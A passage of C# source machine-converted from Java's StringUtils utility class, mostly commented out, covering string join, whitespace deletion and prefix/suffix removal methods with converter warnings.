StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <param name="startIndex"> // /// the first index to start joining from. It is an error to pass in an end index past the end of the // /// array </param> // /// <param name="endIndex"> // /// the index to stop joining from (exclusive). It is an error to pass in an end index past the end of // /// the array </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final long[] array, final char separator, final int startIndex, final int endIndex) // public static string join(long[] array, char separator, int startIndex, int endIndex) // { // if (array == null) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int noOfItems = endIndex - startIndex; // int noOfItems = endIndex - startIndex; // if (noOfItems <= 0) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(noOfItems * 16); // StringBuilder buf = new StringBuilder(noOfItems * 16); // for (int i = startIndex; i < endIndex; i++) // { // if (i > startIndex) // { // buf.Append(separator); // } // buf.Append(array[i]); // } // return buf.ToString(); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <param name="startIndex"> // /// the first index to start joining from. It is an error to pass in an end index past the end of the // /// array </param> // /// <param name="endIndex"> // /// the index to stop joining from (exclusive). It is an error to pass in an end index past the end of // /// the array </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final int[] array, final char separator, final int startIndex, final int endIndex) // public static string join(int[] array, char separator, int startIndex, int endIndex) // { // if (array == null) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int noOfItems = endIndex - startIndex; // int noOfItems = endIndex - startIndex; // if (noOfItems <= 0) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(noOfItems * 16); // StringBuilder buf = new StringBuilder(noOfItems * 16); // for (int i = startIndex; i < endIndex; i++) // { // if (i > startIndex) // { // buf.Append(separator); // } // buf.Append(array[i]); // } // return buf.ToString(); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <param name="startIndex"> // /// the first index to start joining from. It is an error to pass in an end index past the end of the // /// array </param> // /// <param name="endIndex"> // /// the index to stop joining from (exclusive). It is an error to pass in an end index past the end of // /// the array </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final byte[] array, final char separator, final int startIndex, final int endIndex) // public static string join(sbyte[] array, char separator, int startIndex, int endIndex) // { // if (array == null) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int noOfItems = endIndex - startIndex; // int noOfItems = endIndex - startIndex; // if (noOfItems <= 0) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(noOfItems * 16); // StringBuilder buf = new StringBuilder(noOfItems * 16); // for (int i = startIndex; i < endIndex; i++) // { // if (i > startIndex) // { // buf.Append(separator); // } // buf.Append(array[i]); // } // return buf.ToString(); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <param name="startIndex"> // /// the first index to start joining from. It is an error to pass in an end index past the end of the // /// array </param> // /// <param name="endIndex"> // /// the index to stop joining from (exclusive). It is an error to pass in an end index past the end of // /// the array </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final short[] array, final char separator, final int startIndex, final int endIndex) // public static string join(short[] array, char separator, int startIndex, int endIndex) // { // if (array == null) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int noOfItems = endIndex - startIndex; // int noOfItems = endIndex - startIndex; // if (noOfItems <= 0) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(noOfItems * 16); // StringBuilder buf = new StringBuilder(noOfItems * 16); // for (int i = startIndex; i < endIndex; i++) // { // if (i > startIndex) // { // buf.Append(separator); // } // buf.Append(array[i]); // } // return buf.ToString(); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <param name="startIndex"> // /// the first index to start joining from. It is an error to pass in an end index past the end of the // /// array </param> // /// <param name="endIndex"> // /// the index to stop joining from (exclusive). It is an error to pass in an end index past the end of // /// the array </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final char[] array, final char separator, final int startIndex, final int endIndex) // public static string join(char[] array, char separator, int startIndex, int endIndex) // { // if (array == null) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int noOfItems = endIndex - startIndex; // int noOfItems = endIndex - startIndex; // if (noOfItems <= 0) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(noOfItems * 16); // StringBuilder buf = new StringBuilder(noOfItems * 16); // for (int i = startIndex; i < endIndex; i++) // { // if (i > startIndex) // { // buf.Append(separator); // } // buf.Append(array[i]); // } // return buf.ToString(); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <param name="startIndex"> // /// the first index to start joining from. It is an error to pass in an end index past the end of the // /// array </param> // /// <param name="endIndex"> // /// the index to stop joining from (exclusive). It is an error to pass in an end index past the end of // /// the array </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final double[] array, final char separator, final int startIndex, final int endIndex) // public static string join(double[] array, char separator, int startIndex, int endIndex) // { // if (array == null) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int noOfItems = endIndex - startIndex; // int noOfItems = endIndex - startIndex; // if (noOfItems <= 0) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(noOfItems * 16); // StringBuilder buf = new StringBuilder(noOfItems * 16); // for (int i = startIndex; i < endIndex; i++) // { // if (i > startIndex) // { // buf.Append(separator); // } // buf.Append(array[i]); // } // return buf.ToString(); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <param name="startIndex"> // /// the first index to start joining from. It is an error to pass in an end index past the end of the // /// array </param> // /// <param name="endIndex"> // /// the index to stop joining from (exclusive). It is an error to pass in an end index past the end of // /// the array </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final float[] array, final char separator, final int startIndex, final int endIndex) // public static string join(float[] array, char separator, int startIndex, int endIndex) // { // if (array == null) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int noOfItems = endIndex - startIndex; // int noOfItems = endIndex - startIndex; // if (noOfItems <= 0) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(noOfItems * 16); // StringBuilder buf = new StringBuilder(noOfItems * 16); // for (int i = startIndex; i < endIndex; i++) // { // if (i > startIndex) // { // buf.Append(separator); // } // buf.Append(array[i]); // } // return buf.ToString(); // } // /// <summary> // /// <para>Joins the elements of the provided array into a single String // /// containing the provided list of elements.</para> // /// // /// <para>No delimiter is added before or after the list. // /// A {@code null} separator is the same as an empty String (""). // /// Null objects or empty strings within the array are represented by // /// empty strings.</para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join(["a", "b", "c"], "--") = "a--b--c" // /// StringUtils.join(["a", "b", "c"], null) = "abc" // /// StringUtils.join(["a", "b", "c"], "") = "abc" // /// StringUtils.join([null, "", "a"], ',') = ",,a" // /// </pre> // /// </summary> // /// <param name="array"> the array of values to join together, may be null </param> // /// <param name="separator"> the separator character to use, null treated as "" </param> // /// <returns> the joined String, {@code null} if null array input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final Object[] array, final String separator) // public static string join(object[] array, string separator) // { // if (array == null) // { // return null; // } // return join(array, separator, 0, array.Length); // } // /// <summary> // /// <para>Joins the elements of the provided array into a single String // /// containing the provided list of elements.</para> // /// // /// <para>No delimiter is added before or after the list. // /// A {@code null} separator is the same as an empty String (""). // /// Null objects or empty strings within the array are represented by // /// empty strings.</para> // /// // /// <pre> // /// StringUtils.join(null, *, *, *) = null // /// StringUtils.join([], *, *, *) = "" // /// StringUtils.join([null], *, *, *) = "" // /// StringUtils.join(["a", "b", "c"], "--", 0, 3) = "a--b--c" // /// StringUtils.join(["a", "b", "c"], "--", 1, 3) = "b--c" // /// StringUtils.join(["a", "b", "c"], "--", 2, 3) = "c" // /// StringUtils.join(["a", "b", "c"], "--", 2, 2) = "" // /// StringUtils.join(["a", "b", "c"], null, 0, 3) = "abc" // /// StringUtils.join(["a", "b", "c"], "", 0, 3) = "abc" // /// StringUtils.join([null, "", "a"], ',', 0, 3) = ",,a" // /// </pre> // /// </summary> // /// <param name="array"> the array of values to join together, may be null </param> // /// <param name="separator"> the separator character to use, null treated as "" </param> // /// <param name="startIndex"> the first index to start joining from. </param> // /// <param name="endIndex"> the index to stop joining from (exclusive). </param> // /// <returns> the joined String, {@code null} if null array input; or the empty string // /// if {@code endIndex - startIndex <= 0}. The number of joined entries is given by // /// {@code endIndex - startIndex} </returns> // /// <exception cref="ArrayIndexOutOfBoundsException"> ife<br> // /// {@code startIndex < 0} or <br> // /// {@code startIndex >= array.length()} or <br> // /// {@code endIndex < 0} or <br> // /// {@code endIndex > array.length()} </exception> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final Object[] array, String separator, final int startIndex, final int endIndex) // public static string join(object[] array, string separator, int startIndex, int endIndex) // { // if (array == null) // { // return null; // } // if (string.ReferenceEquals(separator, null)) // { // separator = EMPTY; // } // // endIndex - startIndex > 0: Len = NofStrings *(len(firstString) + len(separator)) // // (Assuming that all Strings are roughly equally long) // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int noOfItems = endIndex - startIndex; // int noOfItems = endIndex - startIndex; // if (noOfItems <= 0) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(noOfItems * 16); // StringBuilder buf = new StringBuilder(noOfItems * 16); // for (int i = startIndex; i < endIndex; i++) // { // if (i > startIndex) // { // buf.Append(separator); // } // if (array[i] != null) // { // buf.Append(array[i]); // } // } // return buf.ToString(); // } // /// <summary> // /// <para>Joins the elements of the provided {@code Iterator} into // /// a single String containing the provided elements.</para> // /// // /// <para>No delimiter is added before or after the list. Null objects or empty // /// strings within the iteration are represented by empty strings.</para> // /// // /// <para>See the examples here: <seealso cref="#join(Object[],char)"/>. </para> // /// </summary> // /// <param name="iterator"> the {@code Iterator} of values to join together, may be null </param> // /// <param name="separator"> the separator character to use </param> // /// <returns> the joined String, {@code null} if null iterator input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final java.util.Iterator<?> iterator, final char separator) // public static string join<T1>(IEnumerator<T1> iterator, char separator) // { // // handle null, zero and one elements before building a buffer // if (iterator == null) // { // return null; // } // //JAVA TO C# CONVERTER TODO TASK: Java iterators are only converted within the context of 'while' and 'for' loops: // if (!iterator.hasNext()) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final Object first = iterator.next(); // //JAVA TO C# CONVERTER TODO TASK: Java iterators are only converted within the context of 'while' and 'for' loops: // object first = iterator.next(); // //JAVA TO C# CONVERTER TODO TASK: Java iterators are only converted within the context of 'while' and 'for' loops: // if (!iterator.hasNext()) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final String result = java.util.Objects.toString(first, ""); // string result = Objects.ToString(first, ""); // return result; // } // // two or more elements // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(256); // StringBuilder buf = new StringBuilder(256); // Java default is 16, probably too small // if (first != null) // { // buf.Append(first); // } // while (iterator.MoveNext()) // { // buf.Append(separator); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final Object obj = iterator.Current; // object obj = iterator.Current; // if (obj != null) // { // buf.Append(obj); // } // } // return buf.ToString(); // } // /// <summary> // /// <para>Joins the elements of the provided {@code Iterator} into // /// a single String containing the provided elements.</para> // /// // /// <para>No delimiter is added before or after the list. // /// A {@code null} separator is the same as an empty String ("").</para> // /// // /// <para>See the examples here: <seealso cref="#join(Object[],String)"/>. </para> // /// </summary> // /// <param name="iterator"> the {@code Iterator} of values to join together, may be null </param> // /// <param name="separator"> the separator character to use, null treated as "" </param> // /// <returns> the joined String, {@code null} if null iterator input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final java.util.Iterator<?> iterator, final String separator) // public static string join<T1>(IEnumerator<T1> iterator, string separator) // { // // handle null, zero and one elements before building a buffer // if (iterator == null) // { // return null; // } // //JAVA TO C# CONVERTER TODO TASK: Java iterators are only converted within the context of 'while' and 'for' loops: // if (!iterator.hasNext()) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final Object first = iterator.next(); // //JAVA TO C# CONVERTER TODO TASK: Java iterators are only converted within the context of 'while' and 'for' loops: // object first = iterator.next(); // //JAVA TO C# CONVERTER TODO TASK: Java iterators are only converted within the context of 'while' and 'for' loops: // if (!iterator.hasNext()) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final String result = java.util.Objects.toString(first, ""); // string result = Objects.ToString(first, ""); // return result; // } // // two or more elements // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(256); // StringBuilder buf = new StringBuilder(256); // Java default is 16, probably too small // if (first != null) // { // buf.Append(first); // } // while (iterator.MoveNext()) // { // if (!string.ReferenceEquals(separator, null)) // { // buf.Append(separator); // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final Object obj = iterator.Current; // object obj = iterator.Current; // if (obj != null) // { // buf.Append(obj); // } // } // return buf.ToString(); // } // /// <summary> // /// <para>Joins the elements of the provided {@code Iterable} into // /// a single String containing the provided elements.</para> // /// // /// <para>No delimiter is added before or after the list. Null objects or empty // /// strings within the iteration are represented by empty strings.</para> // /// // /// <para>See the examples here: <seealso cref="#join(Object[],char)"/>. </para> // /// </summary> // /// <param name="iterable"> the {@code Iterable} providing the values to join together, may be null </param> // /// <param name="separator"> the separator character to use </param> // /// <returns> the joined String, {@code null} if null iterator input // /// @since 2.3 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final Iterable<?> iterable, final char separator) // public static string join<T1>(IEnumerable<T1> iterable, char separator) // { // if (iterable == null) // { // return null; // } // return join(iterable.GetEnumerator(), separator); // } // /// <summary> // /// <para>Joins the elements of the provided {@code Iterable} into // /// a single String containing the provided elements.</para> // /// // /// <para>No delimiter is added before or after the list. // /// A {@code null} separator is the same as an empty String ("").</para> // /// // /// <para>See the examples here: <seealso cref="#join(Object[],String)"/>. </para> // /// </summary> // /// <param name="iterable"> the {@code Iterable} providing the values to join together, may be null </param> // /// <param name="separator"> the separator character to use, null treated as "" </param> // /// <returns> the joined String, {@code null} if null iterator input // /// @since 2.3 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final Iterable<?> iterable, final String separator) // public static string join<T1>(IEnumerable<T1> iterable, string separator) // { // if (iterable == null) // { // return null; // } // return join(iterable.GetEnumerator(), separator); // } // /// <summary> // /// <para>Joins the elements of the provided varargs into a // /// single String containing the provided elements.</para> // /// // /// <para>No delimiter is added before or after the list. // /// {@code null} elements and separator are treated as empty Strings ("").</para> // /// // /// <pre> // /// StringUtils.joinWith(",", {"a", "b"}) = "a,b" // /// StringUtils.joinWith(",", {"a", "b",""}) = "a,b," // /// StringUtils.joinWith(",", {"a", null, "b"}) = "a,,b" // /// StringUtils.joinWith(null, {"a", "b"}) = "ab" // /// </pre> // /// </summary> // /// <param name="separator"> the separator character to use, null treated as "" </param> // /// <param name="objects"> the varargs providing the values to join together. {@code null} elements are treated as "" </param> // /// <returns> the joined String. </returns> // /// <exception cref="java.lang.IllegalArgumentException"> if a null varargs is provided // /// @since 3.5 </exception> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String joinWith(final String separator, final Object... objects) // public static string joinWith(string separator, params object[] objects) // { // if (objects == null) // { // throw new System.ArgumentException("Object varargs must not be null"); // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final String sanitizedSeparator = defaultString(separator, StringUtils.EMPTY); // string sanitizedSeparator = defaultString(separator, StringUtils.EMPTY); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder result = new StringBuilder(); // StringBuilder result = new StringBuilder(); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final java.util.Iterator<Object> iterator = java.util.Arrays.asList(objects).iterator(); // IEnumerator<object> iterator = Arrays.asList(objects).GetEnumerator(); // while (iterator.MoveNext()) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final String value = java.util.Objects.toString(iterator.Current, ""); // string value = Objects.ToString(iterator.Current, ""); // result.Append(value); // //JAVA TO C# CONVERTER TODO TASK: Java iterators are only converted within the context of 'while' and 'for' loops: // if (iterator.hasNext()) // { // result.Append(sanitizedSeparator); // } // } // return result.ToString(); // } // // Delete // //----------------------------------------------------------------------- // /// <summary> // /// <para>Deletes all whitespaces from a String as defined by // /// <seealso cref="Character#isWhitespace(char)"/>.</para> // /// // /// <pre> // /// StringUtils.deleteWhitespace(null) = null // /// StringUtils.deleteWhitespace("") = "" // /// StringUtils.deleteWhitespace("abc") = "abc" // /// StringUtils.deleteWhitespace(" ab c ") = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String to delete whitespace from, may be null </param> // /// <returns> the String without whitespaces, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String deleteWhitespace(final String str) // public static string deleteWhitespace(string str) // { // if (isEmpty(str)) // { // return str; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = str.length(); // int sz = str.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char[] chs = new char[sz]; // char[] chs = new char[sz]; // int count = 0; // for (int i = 0; i < sz; i++) // { // if (!char.IsWhiteSpace(str[i])) // { // chs[count++] = str[i]; // } // } // if (count == sz) // { // return str; // } // return new string(chs, 0, count); // } // // Remove // //----------------------------------------------------------------------- // /// <summary> // /// <para>Removes a substring only if it is at the beginning of a source string, // /// otherwise returns the source string.</para> // /// // /// <para>A {@code null} source string will return {@code null}. // /// An empty ("") source string will return the empty string. // /// A {@code null} search string will return the source string.</para> // /// // /// <pre> // /// StringUtils.removeStart(null, *) = null // /// StringUtils.removeStart("", *) = "" // /// StringUtils.removeStart(*, null) = * // /// StringUtils.removeStart("www.domain.com", "www.") = "domain.com" // /// StringUtils.removeStart("domain.com", "www.") = "domain.com" // /// StringUtils.removeStart("www.domain.com", "domain") = "www.domain.com" // /// StringUtils.removeStart("abc", "") = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the source String to search, may be null </param> // /// <param name="remove"> the String to search for and remove, may be null </param> // /// <returns> the substring with the string removed if found, // /// {@code null} if null String input // /// @since 2.1 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String removeStart(final String str, final String remove) // public static string removeStart(string str, string remove) // { // if (isEmpty(str) || isEmpty(remove)) // { // return str; // } // if (str.StartsWith(remove, StringComparison.Ordinal)) // { // return str.Substring(remove.Length); // } // return str; // } // /// <summary> // /// <para>Case insensitive removal of a substring if it is at the beginning of a source string, // /// otherwise returns the source string.</para> // /// // /// <para>A {@code null} source string will return {@code null}. // /// An empty ("") source string will return the empty string. // /// A {@code null} search string will return the source string.</para> // /// // /// <pre> // /// StringUtils.removeStartIgnoreCase(null, *) = null // /// StringUtils.removeStartIgnoreCase("", *) = "" // /// StringUtils.removeStartIgnoreCase(*, null) = * // /// StringUtils.removeStartIgnoreCase("www.domain.com", "www.") = "domain.com" // /// StringUtils.removeStartIgnoreCase("www.domain.com", "WWW.") = "domain.com" // /// StringUtils.removeStartIgnoreCase("domain.com", "www.") = "domain.com" // /// StringUtils.removeStartIgnoreCase("www.domain.com", "domain") = "www.domain.com" // /// StringUtils.removeStartIgnoreCase("abc", "") = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the source String to search, may be null </param> // /// <param name="remove"> the String to search for (case insensitive) and remove, may be null </param> // /// <returns> the substring with the string removed if found, // /// {@code null} if null String input // /// @since 2.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String removeStartIgnoreCase(final String str, final String remove) // public static string removeStartIgnoreCase(string str, string remove) // { // if (isEmpty(str) || isEmpty(remove)) // { // return str; // } // if (startsWithIgnoreCase(str, remove)) // { // return str.Substring(remove.Length); // } // return str; // } /// <summary> /// <para>Removes a substring only if it is at the end of a source string, /// otherwise returns the source string.</para> /// /// <para>A {@code null} source string will return {@code null}. /// An empty ("") source string will return the empty string. /// A {@code null} search string will return the source string.</para> /// /// <pre> /// StringUtils.removeEnd(null, *) = null /// StringUtils.removeEnd("", *) = "" /// StringUtils.removeEnd(*, null) = * /// StringUtils.removeEnd("www.domain.com", ".com.") = "www.domain.com" /// StringUtils.removeEnd("www.domain.com", ".com") = "www.domain" /// StringUtils.removeEnd("www.domain.com", "domain") = "www.domain.com" /// StringUtils.removeEnd("abc", "") = "abc" /// </pre> /// </summary> /// <param name="str"> the source String to search, may be null </param> /// <param name="remove"> the String to search for and remove, may be null </param> /// <returns> the substring with the string removed if found, /// {@code null} if null String input /// @since 2.1 </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static String removeEnd(final String str, final String remove) public static string removeEnd(string str, string remove) { if (isEmpty(str) || isEmpty(remove)) { return str; } if (str.EndsWith(remove, StringComparison.Ordinal)) { return str.Substring(0, str.Length - remove.Length); } return str; } // /// <summary> // /// <para>Case insensitive removal of a substring if it is at the end of a source string, // /// otherwise returns the source string.</para> // /// // /// <para>A {@code null} source string will return {@code null}. // /// An empty ("") source string will return the empty string. // /// A {@code null} search string will return the source string.</para> // /// // /// <pre> // /// StringUtils.removeEndIgnoreCase(null, *) = null // /// StringUtils.removeEndIgnoreCase("", *) = "" // /// StringUtils.removeEndIgnoreCase(*, null) = * // /// StringUtils.removeEndIgnoreCase("www.domain.com", ".com.") = "www.domain.com" // /// StringUtils.removeEndIgnoreCase("www.domain.com", ".com") = "www.domain" // /// StringUtils.removeEndIgnoreCase("www.domain.com", "domain") = "www.domain.com" // /// StringUtils.removeEndIgnoreCase("abc", "") = "abc" // /// StringUtils.removeEndIgnoreCase("www.domain.com", ".COM") = "www.domain") // /// StringUtils.removeEndIgnoreCase("www.domain.COM", ".com") = "www.domain") // /// </pre> // /// </summary> // /// <param name="str"> the source String to search, may be null </param> // /// <param name="remove"> the String to search for (case insensitive) and remove, may be null </param> // /// <returns> the substring with the string removed if found, // /// {@code null} if null String input // /// @since 2.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String removeEndIgnoreCase(final String str, final String remove) // public static string removeEndIgnoreCase(string str, string remove) // { // if (isEmpty(str) || isEmpty(remove)) // { // return str; // } // if (endsWithIgnoreCase(str, remove)) // { // return str.Substring(0, str.Length - remove.Length); // } // return str; // } // /// <summary> // /// <para>Removes all occurrences of a substring from within the source string.</para> // /// // /// <para>A {@code null} source string will return {@code null}. // /// An empty ("") source string will return the empty string. // /// A {@code null} remove string will return the source string. // /// An empty ("") remove string will return the source string.</para> // /// // /// <pre> // /// StringUtils.remove(null, *) = null // /// StringUtils.remove("", *) = "" // /// StringUtils.remove(*, null) = * // /// StringUtils.remove(*, "") = * // /// StringUtils.remove("queued", "ue") = "qd" // /// StringUtils.remove("queued", "zz") = "queued" // /// </pre> // /// </summary> // /// <param name="str"> the source String to search, may be null </param> // /// <param name="remove"> the String to search for and remove, may be null </param> // /// <returns> the substring with the string removed if found, // /// {@code null} if null String input // /// @since 2.1 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String remove(final String str, final String remove) // public static string remove(string str, string remove) // { // if (isEmpty(str) || isEmpty(remove)) // { // return str; // } // return replace(str, remove, EMPTY, -1); // } // /// <summary> // /// <para> // /// Case insensitive removal of all occurrences of a substring from within // /// the source string. // /// </para> // /// // /// <para> // /// A {@code null} source string will return {@code null}. An empty ("") // /// source string will return the empty string. A {@code null} remove string // /// will return the source string. An empty ("") remove string will return // /// the source string. // /// </para> // /// // /// <pre> // /// StringUtils.removeIgnoreCase(null, *) = null // /// StringUtils.removeIgnoreCase("", *) = "" // /// 